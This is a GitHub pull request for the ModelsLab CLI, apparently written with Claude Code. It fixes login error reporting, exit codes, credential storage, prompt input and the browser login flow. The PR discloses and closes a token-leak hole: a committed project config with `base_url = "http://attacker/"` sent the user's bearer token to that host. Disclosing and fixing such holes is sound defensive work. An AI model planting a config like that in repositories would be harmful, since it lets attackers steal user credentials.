Stop the CLI misdiagnosing why a login failed - #7
Merged
Conversation
A customer was blocked for ~12 days on "cannot authenticate". Their account is
Google-only, so `auth login --email/--password` can never work for them — OAuth
signups are stored with a random password — and every failure the CLI showed
them pointed somewhere useless.
The control plane wraps failures as
{"data":null,"error":{"code","message"},"meta":{}}. parseAPIError read only the
top level, where "error" is an object rather than a string, so it fell through
to printing the entire JSON body as the message. Underneath it, the login hint
was a fixed "Check your email and password / run forgot-password" — advice that
is wrong for an account that has no password to check.
Error reporting
- Parse the control-plane envelope: message, machine code, and the per-field
`details` bag. Unrecognised bodies are truncated on a rune boundary, and a
proxy's HTML error page is reduced to its <title> ("502 Bad Gateway").
- Hint from the code, not blanket text. invalid_credentials now names
`--browser` for OAuth accounts; email_not_verified offers resend-verification;
validation_error prints the fields the server actually rejected. An EMPTY code
is no longer folded in with invalid_credentials — a 502 during a deploy used
to be reported as a wrong password, which is exactly the rabbit hole above.
- Map APIError.ExitCode for every command, not just `auth login`. Everything
else exited 1, so a script could not tell an expired token from a bad flag. A
401 with nothing stored now says so instead of just "Unauthenticated."
- Honour Retry-After on 429, keep the server's own message, and return
immediately rather than sleeping through a 60s window.
Credential handling
- `.modelslab/config.toml` is read from the CURRENT WORKING DIRECTORY and was
merged wholesale, so a committed `base_url` in any repo you cd into redirected
the next command — with the stored bearer token attached — to that host. Proven
end to end. base_url, api_key and token are now ignored from project config;
harmless preferences still merge. Use --base-url or MODELSLAB_BASE_URL.
- `auth login` dropped the StoreToken/StoreEmail/StoreAPIKey return values and
printed "Logged in" regardless. A locked keychain plus an unwritable
~/.config meant success on screen, nothing stored, and 401s afterwards.
- The MCP server's auth-login returned a token without ever assigning it to the
long-lived client, so an agent that logged in through MCP got 401 from every
later tool with a valid token in its own transcript. Same for api-keys-create.
Prompts and the browser flow
- Replace fmt.Scanln: it stopped at the first space, so signup recorded "Ada"
for "Ada Lovelace", and on an empty line it let the command run on with an
empty email. term.ReadPassword now falls back to reading stdin when it is not
a TTY, so piped and CI logins work instead of dying with "inappropriate ioctl
for device" — previously the only non-interactive option was --password on the
command line, which lands in shell history and CI logs.
- Print the authorize URL unconditionally. openBrowser uses exec.Start(), which
returns nil as soon as the child is spawned, so a headless box or a browser
that dies on launch looked like success: the user waited five minutes and was
never shown the URL. The timeout message now says what to do next.
Companion PR in ModelsLab/modelslab-frontend-v2 fixes the server-side cause:
the Google and GitHub callbacks ignored Laravel's `url.intended`, so
`auth login --browser` never returned to the CLI for a signed-out user.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QgkQePXPha8ShvoBerrVXL
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The report
A customer was blocked for ~12 days on "cannot authenticate through the ModelsLab CLI". Their account is Google-only, so
auth login --email/--passwordcan never work for them (OAuth signups getHash::make(Str::random(64))), and every failure the CLI showed them pointed somewhere useless.The server-side cause is fixed in ModelsLab/modelslab-frontend-v2#2831 — the Google/GitHub callbacks ignored Laravel's
url.intended, soauth login --browsernever returned to the CLI for a signed-out user. This PR fixes what the CLI itself got wrong, found by an adversarial review of the auth paths.Error reporting
Before, on a completely ordinary failed login:
After:
parseAPIErrornever understood the control-plane envelope.{"data":null,"error":{...},"meta":{}}puts the message one level down, anderroris an object, not a string — both top-level lookups missed, so the raw JSON body became the message. Now parses message, machinecode, and the per-fielddetailsbag. Unrecognised bodies truncate on a rune boundary; an HTML proxy page reduces to its<title>(502 Bad Gateway (HTTP 502)).email_not_verifiedoffersresend-verification;validation_errorprints the fields the server actually rejected instead of blaming--email.invalid_credentials. A 502 during a deploy used to print "Check your email and password" and send the user toforgot-password— precisely the multi-day rabbit hole in this ticket. Verified against a fake nginx 502.main.gohardcodedos.Exit(1), so onlyauth loginusedAPIError.ExitCode; a script could not tell an expired token (3) from a bad flag (2) or a rate limit (4). A 401 with nothing stored now says "No credentials are stored for profile X" rather than a bare "Unauthenticated."Retry-After. OnlyX-RateLimit-Resetwas read, and only under 30s; Laravel's throttle sendsRetry-After: 60. The server's own message was also thrown away. Now kept, with the window named, and returned immediately instead of blocking the terminal for a minute.Credential handling
.modelslab/config.tomlwas a token-exfiltration vector. It is read from the current working directory and merged wholesale, so a committedbase_url = "http://attacker/"in any repo yougit cloneandcdinto redirected the nextmodelslabcommand — with the stored bearer token in theAuthorizationheader — to that host. No prompt, no warning. Reproduced end to end by the reviewer.base_url,api_keyandtokenare now stripped from project-level config; model/output preferences still merge. Use--base-urlorMODELSLAB_BASE_URL, which the user types themselves.auth loginprinted "Logged in" even when it stored nothing.StoreToken/StoreEmail/StoreAPIKeyreturn values were dropped. With a denied keychain prompt and an unwritable~/.config, the CLI reported success, exited 0, and every later command 401'd. This is the closest match to "it says I'm logged in and I still can't authenticate."auth-loginnever authenticated the session. The client is built once inmcp serveand lives for the whole process; the handler returned the token without ever assigning it. An agent that logged in through MCP got 401 from every later tool, with a valid token sitting in its own transcript. Same forapi-keys-create. Both now apply the credentials and persist them.Prompts and the browser flow
fmt.Scanlnreplaced. It stops at the first space (auth signuprecorded "Ada" for "Ada Lovelace" and left "Lovelace" to corrupt the next read) and returns an error on an empty line that the caller ignored, so the command ran on with an empty email and got a validation error about a flag the user never passed.term.ReadPasswordfails withinappropriate ioctl for devicewhen stdin is a pipe, so the only non-interactive option was--passwordon the command line — shell history,ps, CI logs. Now falls back to reading the line when stdin is not a TTY.openBrowserusesexec.Start(), which returns nil the moment the child is spawned, soxdg-openwith no display or a Chrome that dies on launch both looked like success:Waiting for browser authorization..., then a timeout five minutes later, and the user was never shown the URL they could have pasted. The timeout message now says what to do next.Tests
go test ./...,go vet ./...green; cross-builds clean forwindows/amd64andlinux/amd64. New coverage: the control-plane envelope and itsdetailsbag, rune-safe truncation, HTML<title>summarisation,Retry-Afterhandling, everyloginFailureHintsbranch (including the empty-code case), exit-code mapping, project-config key stripping, the prompt helpers, and MCP credential application.Manually verified against production and a local fake 502.
Not fixed here
credentialFilePathignores theos.UserHomeDir()error; unreachable today becauseconfig.Init()errors on the same call first. Latent.storeToFileis a non-atomic read-modify-write per field; a crash mid-write loses all three credentials rather than one.POST /api/agents/v1/auth/google-sign-in. A device-code or loopback Google flow would give OAuth-only accounts a path that does not depend on the browser handoff at all.🤖 Generated with Claude Code
https://claude.ai/code/session_01QgkQePXPha8ShvoBerrVXL
Need help on this PR? Tag
@codesmith-botwith what you need. Autofix is disabled.